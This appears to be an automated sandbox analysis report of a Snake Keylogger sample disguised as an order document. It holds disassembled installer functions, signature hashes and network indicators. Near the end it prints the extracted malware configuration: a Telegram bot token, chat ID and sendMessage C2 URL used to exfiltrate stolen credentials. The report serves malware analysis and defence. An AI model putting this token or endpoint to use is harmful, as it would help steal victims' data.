Instruction ID: 4ebe2cb43181949e29f1e9fb79ae388d5d3e17bd3db4e8cfc4c1202d027f6d8e
Opcode Fuzzy Hash: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
Instruction Fuzzy Hash: FB116A32500108FBDF02AB90CE49FEE7B7DAF44340F110076B905B51E1E7B59E21AB58

Function 004057CE Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405811
GetLastError.KERNEL32 ref: 00405825
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040583A
GetLastError.KERNEL32 ref: 00405844

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 32cc50e607dd20b61f2ed470817bc290d965520901a5db6b5155953f1fdd03ed
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: B1010872C10619DADF00AFA1C9447EFBBB8EF14355F00803AD945B6281E77896188FA9

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00403059,?,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction ID: b514363a92e965461d88eaa206c20d0702a544c8e4880045d1c7c79aac8a479e
Opcode Fuzzy Hash: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction Fuzzy Hash: 3AF05E30966A21EBC6606B24FE8CA8B7B64FB44B01711887BF001B11B4DA7C4892CBDC

Function 00405C74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 00405C17: CharNextW.USER32(?,?,?,?,004015D1,00000000,000000F0), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C42

lstrlenW.KERNEL32(007A4728,00000000,007A4728,007A4728,?,?,?,004059C9,?), ref: 00405CCD
GetFileAttributesW.KERNEL32(007A4728,007A4728,007A4728,007A4728,007A4728,007A4728,00000000,007A4728,007A4728,?,?,?,004059C9,?), ref: 00405CDD

Strings

(Gz, xrefs: 00405C7A

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: (Gz
API String ID: 3248276644-3338112938
Opcode ID: a52dea6f46491884bfea8966144719ff55b77873c2b9e35538818f57ee0f9f4e
Instruction ID: 850bfc7ffc9f89e8bebb6f59b63454ed566b5c4d810398842941662e03732b0e
Opcode Fuzzy Hash: a52dea6f46491884bfea8966144719ff55b77873c2b9e35538818f57ee0f9f4e
Instruction Fuzzy Hash: 82F0D625019F5216F622363A4D09AAF1954CE82364B0A013FF891722C1DB3C8942DD6E

Function 00405273 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052A2
CallWindowProcW.USER32(?,?,?,?), ref: 004052F3

Part of subcall function 0040425A: SendMessageW.USER32(?,?,00000000,00000000), ref: 0040426C

Strings

, xrefs: 00405283

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction ID: beea61cd65c8703650dc93cdae6e0720761c29505c5582e3341eda9a3c117467
Opcode Fuzzy Hash: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction Fuzzy Hash: BD01BC71200608AFEB208F11DD80AAB3B25EF85355F20807FFA01761D0C73A8C919F2E

Function 00405DBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405DDA
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,007B3000,0040336A,007B5000,007B5800,007B5800,007B5800,007B5800,007B5800,74DF3420,004035B6), ref: 00405DF5

Strings

nsa, xrefs: 00405DC9

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 33897e7ea40e9bcc5f45ceb9d35bf1368e2cdd1c67b8b6f6c5069f2428d8a25f
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: D4F03076610304FBEB009F69DD05F9FBBB8EB95710F10803AED40E7250E6B1AA54CBA4

Function 00151A18 Relevance: 5.1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

F, xrefs: 00151B47
F, xrefs: 00151B10
F, xrefs: 00151B64
F, xrefs: 00151A47

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: F$F$F$F
API String ID: 0-1844600021
Opcode ID: a418a8a2d60b5daab59206069136f10b4c948d20db7675d12285fd9d5129d6e7
Instruction ID: 0af4cb1728fe13140e928818771fb49896f7dc93b36bbf3018a371618dcf236a
Opcode Fuzzy Hash: a418a8a2d60b5daab59206069136f10b4c948d20db7675d12285fd9d5129d6e7
Instruction Fuzzy Hash: B641B374A01249EFC706EFF8C4416AE7BB2EFCA304F1044A99410AB356DB756D49DB91

Function 00152A69 Relevance: 5.1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

Strings

Xhq, xrefs: 00152BA4
Xhq, xrefs: 00152AD8
Xhq, xrefs: 00152B57
Xhq, xrefs: 00152A9E

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: Xhq$Xhq$Xhq$Xhq
API String ID: 0-3565632849
Opcode ID: 48699056c009618da2586f27935a239aeb414256237f67b6665e5381d926efb0
Instruction ID: aa46c136d617331c0729c7c9549c5be4ba3a0d388a5c4327b55c806e624f32da
Opcode Fuzzy Hash: 48699056c009618da2586f27935a239aeb414256237f67b6665e5381d926efb0
Instruction Fuzzy Hash: CE31A972D00219CBDF758FA9899036FB7B6AB95301F144069C835AB380DB308E499B92

Function 00156920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;dq, xrefs: 00156952
\;dq, xrefs: 0015695E
\;dq, xrefs: 0015692C
\;dq, xrefs: 00156936

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: \;dq$\;dq$\;dq$\;dq
API String ID: 0-1855092343
Opcode ID: d9d1b4c5ab7b78ddf7a445879b690a1424b02e397e91a2140b1b9ef900d7c022
Instruction ID: 745c44b999bcdf071927d65e77de7ea0b787f5117ce90fb6c7e6c78155fdb19e
Opcode Fuzzy Hash: d9d1b4c5ab7b78ddf7a445879b690a1424b02e397e91a2140b1b9ef900d7c022
Instruction Fuzzy Hash: F701BC31700115CFCB248E2CC440A2673E6BF987AA766406AEC25CF3A0DF31DC8597C1

Function 00405CF2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D1A
CharNextA.USER32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D2B
lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D34

Memory Dump Source

Source File: 00000004.00000002.2945221064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2945200507.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945241945.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2945380974.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 076f441daad098c1e87a0755c7bbd60db18a276d6ce73f7d9d897af98e652dc6
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: E5F0F631204918FFC7129FA4DD0499FBBB8EF06354B2580BAE840FB211D674DE01AFA8

Source: 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8", "Chat_id": "6553726543", "Version": "4.4"}
Source: ORDER 20240986 OA.exe.7832.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendMessage"}

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE887A8 CryptUnprotectData,		4_2_3AE887A8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_3AE88EF1 CryptUnprotectData,		4_2_3AE88EF1

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49794 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49812 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49783 -> 167.250.5.91:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49806 -> 188.114.96.3:443

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F2C0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0015F45Dh	4_2_0015F4AC
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0015FC19h	4_2_0015F961
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07566970h	4_2_07566678
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07568AE8h	4_2_075687F0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756C448h	4_2_0756C150
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07563E26h	4_2_07563B58
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756EF50h	4_2_0756EC58
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756030Eh	4_2_07560040
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07566E38h	4_2_07566B40
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07565E16h	4_2_07565B48
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07569940h	4_2_07569648
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756D768h	4_2_0756D470
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07564746h	4_2_07564478
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07560C2Eh	4_2_07560960
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07568158h	4_2_07567E60
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756AC60h	4_2_0756A968
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 075619DEh	4_2_07561710
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07569E08h	4_2_07569B10
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07562BE6h	4_2_07562918
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756C910h	4_2_0756C618
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756E0F8h	4_2_0756DE00
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07564BD7h	4_2_07564908
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07567300h	4_2_07567008
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756B128h	4_2_0756AE30
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07563506h	4_2_07563238
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756DC30h	4_2_0756D938
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756F418h	4_2_0756F120
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 075654F6h	4_2_07565228
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07568620h	4_2_07568328
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756079Eh	4_2_075604D0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 075677C8h	4_2_075674D0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07566347h	4_2_07565FD8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756A2D0h	4_2_07569FD8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756BAB8h	4_2_0756B7C0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756E5C0h	4_2_0756E2C8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 075610BEh	4_2_07560DF0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 075622C6h	4_2_07561FF8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756B5F0h	4_2_0756B2F8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756CDD8h	4_2_0756CAE0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 075642B6h	4_2_07563FE8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756F8E0h	4_2_0756F5E8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756EA88h	4_2_0756E790
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07565066h	4_2_07564D98
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07567C90h	4_2_07567998
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756154Eh	4_2_07561280
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07569478h	4_2_07569180
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07562756h	4_2_07562488
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756BF80h	4_2_0756BC88
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756FDA8h	4_2_0756FAB0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07565986h	4_2_075656B8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07568FB0h	4_2_07568CB8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07561E47h	4_2_07561BA0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756A798h	4_2_0756A4A0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07563076h	4_2_07562DA8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 0756D2A0h	4_2_0756CFA8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07621FE8h	4_2_07621CF0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07621658h	4_2_07621360
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07620801h	4_2_07620508
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07620CC8h	4_2_076209D0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07620338h	4_2_07620040
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07621B20h	4_2_07621828
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 07621190h	4_2_07620E98
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_07663E70
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_07663E60
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_07660A03
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_07660A10
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9E0A9h	4_2_3AC9DE00
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC931E0h	4_2_3AC92DC8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC92C19h	4_2_3AC92968
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9E959h	4_2_3AC9E6B0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9E501h	4_2_3AC9E258
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9F661h	4_2_3AC9F3B8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9F209h	4_2_3AC9EF60
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9EDB1h	4_2_3AC9EB08
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC90D0Dh	4_2_3AC90B30
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC91697h	4_2_3AC90B30
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9D3A1h	4_2_3AC9D0F8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9CF49h	4_2_3AC9CCA0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_3AC90040
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9FAB9h	4_2_3AC9F810
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9DC51h	4_2_3AC9D9A8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC931E0h	4_2_3AC92DB8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC9D7F9h	4_2_3AC9D550
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AC931E0h	4_2_3AC9310E
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE89280h	4_2_3AE88FB0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE87EB5h	4_2_3AE87B78
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE81449h	4_2_3AE811A0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8F5C6h	4_2_3AE8F2F8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE87571h	4_2_3AE872C8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE85179h	4_2_3AE84ED0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE82151h	4_2_3AE81EA8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8F136h	4_2_3AE8EE68
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8D146h	4_2_3AE8CE78
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE84D21h	4_2_3AE84A78
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE87119h	4_2_3AE86E70
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE81CF9h	4_2_3AE81A50
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE848C9h	4_2_3AE84620
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE86CC1h	4_2_3AE86A18
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE85E81h	4_2_3AE85BD8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8BA76h	4_2_3AE8B7A8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE82E59h	4_2_3AE82BB0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8FA56h	4_2_3AE8F788
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE85A29h	4_2_3AE85780
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8DA66h	4_2_3AE8D798
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE82A01h	4_2_3AE82758
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE855D1h	4_2_3AE85328
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE879C9h	4_2_3AE87720
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8D5D6h	4_2_3AE8D308
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE825A9h	4_2_3AE82300
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8B5E6h	4_2_3AE8B318
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE80B99h	4_2_3AE808F0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8C396h	4_2_3AE8C0C8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8E386h	4_2_3AE8E0B8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE86733h	4_2_3AE86488
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then mov esp, ebp	4_2_3AE8B081
